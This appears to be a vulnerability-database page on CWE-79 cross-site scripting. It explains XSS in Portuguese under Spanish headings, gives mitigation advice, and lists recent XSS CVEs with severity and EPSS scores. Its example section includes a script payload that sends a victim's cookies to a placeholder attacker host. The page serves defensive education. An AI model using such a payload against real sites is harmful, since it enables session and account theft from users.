Fallos del tipo CWE-79

30.496 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-57873MEDIUMBUG-000175222 - Reflected XSS vulnerability in Portal for ArcGIS.EPSS 0.2%CVE-2026-24671MEDIUMOpen eClass is Vulnerable to Stored Cross-Site Scripting (XSS) in Multiple High-Privilege User FieldsEPSS 0.2%CVE-2025-59986MEDIUMJunos Space: Input fields in Model Devices are vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-60009MEDIUMJunos Space: CLI Configlet page is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-64613MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.2%CVE-2025-20280MEDIUMCisco Evolved Programmable Network Manager and Cisco Prime Infrastructure Stored Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2026-2583MEDIUMBlocksy <= 2.1.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via `blocksy_meta` FieldsEPSS 0.2%CVE-2026-24665HIGHOpen eClass is Vulnerable to Stored Cross-Site Scripting (XSS) via Student Assignment UploadEPSS 0.2%CVE-2025-55105MEDIUMBUG-000177336 - ArcGIS Enterprise Sites has a stored Cross-site Scripting vulnerability.EPSS 0.2%CVE-2025-57877MEDIUMReflected XSS vulnerability in Portal for ArcGIS.EPSS 0.2%CVE-2025-14113MEDIUMViitor Button Shortcodes <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'link' Shortcode AttributeEPSS 0.2%CVE-2025-47662MEDIUMWordPress Woobox plugin <= 1.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-47676MEDIUMWordPress User Login History plugin <= 2.1.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58834MEDIUMWordPress short.io Plugin <= 2.4.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-1458MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) <= 5.10.29 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-59993MEDIUMJunos Space: Space Node Setting fields are vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-27006MEDIUMWordPress Authorsy Plugin <= 1.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58838MEDIUMWordPress Smooth Accordion Plugin <= 2.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-59998MEDIUMJunos Space: Archive Logs screen is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-58837MEDIUMWordPress SS Font Awesome Icon Plugin <= 4.1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%